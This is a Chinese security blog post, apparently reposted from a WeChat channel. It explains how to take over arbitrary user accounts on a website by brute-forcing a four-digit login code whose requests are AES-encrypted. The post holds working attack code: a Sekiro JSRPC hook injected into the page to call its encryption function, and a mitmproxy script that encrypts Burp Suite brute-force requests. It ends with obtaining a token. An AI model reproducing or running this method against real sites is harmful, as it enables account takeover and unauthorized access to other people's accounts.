利用JSRPC实现任意用户登录

admin 2024年2月24日22:48:58评论11 views字数 1980阅读6分36秒阅读模式

公众号现在只对常读和星标的公众号才展示大图推送,

建议大家把ElyiumSec设为星标,否则可能就看不到啦!

-------------------------------------------------------

首先看到网站界面如下所示

利用JSRPC实现任意用户登录

接收验证码四位可能存在验证码爆破

利用JSRPC实现任意用户登录

抓取数据包进行查看发现数据被加密,手动输入多次验证原验证码可用,开始对加密进行解密

利用JSRPC实现任意用户登录

利用JSRPC实现任意用户登录

利用JSRPC实现任意用户登录

AES加密,将解密方法设置全局方便后续调用

利用JSRPC实现任意用户登录

安装sekiro

https://github.com/yint-tech/sekiro-open

构建完成后,会生成文件夹sekiro-open-demo,在bin文件夹中根据系统来选择运行.bat还是.sh即可

运行后如下图所示

利用JSRPC实现任意用户登录

https://sekiro.iinti.cn/sekiro-doc/

在文档中 可以看见官方注入的JS

导入sekio.js 我们自己在底部单独注册一个接口运行

利用JSRPC实现任意用户登录

function guid() {    function S4() {        return (((1 + Math.random()) * 0x10000) | 0).toString(16).substring(1);    }    return (S4() + S4() + "-" + S4() + "-" + S4() + "-" + S4() + "-" + S4() + S4() + S4());}//Modify contentgroup = "MiNi";registerAction = "AES";var client = new SekiroClient("ws://127.0.0.1:5612/business-demo/register?group=" + group + "&clientId=" + guid());client.registerAction(registerAction, function(request, resolve, reject) {    response = v(atob(request['text']));    resolve(response);})

注册好后 访问

http://127.0.0.1:5612/business-demo/invoke?group=xxx&action=xxx&text=xxx

text为需加密内容

利用JSRPC实现任意用户登录

因为加密数据存在&在URL解析时容易出现问题

利用JSRPC实现任意用户登录

修改下sekio.js 输入base64数据即可 会将base64数据解密在进行加密返回

利用JSRPC实现任意用户登录

Data为我们加密后的数据 text内容是我们的需要加密的内容

利用JSRPC实现任意用户登录

利用JSRPC实现任意用户登录

到此,生成自己想要的一个密文字典用python进行爬取保存对应的加密数据即可

利用JSRPC实现任意用户登录

这里在使用另一种方法实现在Burp中的密文爆破

利用mitmproxy

在我们的环境中,我们需要调用这个jsrpc来加密后,将处理过的数据包发送到网站中,所以需要一个mitmproxy来加密参数,然后发送

安装依赖

pip3 install mitmproxy

创建服务器

import requestsimport urllib.parseimport reimport jsonfrom mitmproxy import ctxdef encrypt(data):    data = data.replace('&', "%26")    url = "http://127.0.0.1:5612/business-demo/invoke?group=MN&action=AES&text={}".format(        data)    res = requests.get(url)    res = json.loads(res.text)    return res['data']def request(flow):    # 获取GET请求的数据    data = flow.request.query.get('data')    print('Get request data ===> ', data)    encryptData = encrypt(data)    print('EncryptData ===> ', encryptData)    # 设置修改后的请求 body 数据    flow.request.query['data'] = encryptData    # url = flow.request.url + "?data=" + encryptData    # res = requests.get(url)# 请求后的数据def response(flow):    response = flow.response    print(response.text)    ctx.log.info(str(response.status_code))

然后启动

mitmweb -v -s test.py -p 8081

我们设置一个burpsuite的代理到mitmproxy中,然后尝试发送一个包。可以看见BP中明文发送已经被加密

利用JSRPC实现任意用户登录

利用JSRPC实现任意用户登录

解密获取token

利用JSRPC实现任意用户登录

关注我们

利用JSRPC实现任意用户登录

微信:MiNi_login 拉群

欢迎各位师傅

原文始发于微信公众号(ElysiumSec):利用JSRPC实现任意用户登录

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月24日22:48:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用JSRPC实现任意用户登录https://cn-sec.com/archives/2136182.html

发表评论

匿名网友 填写信息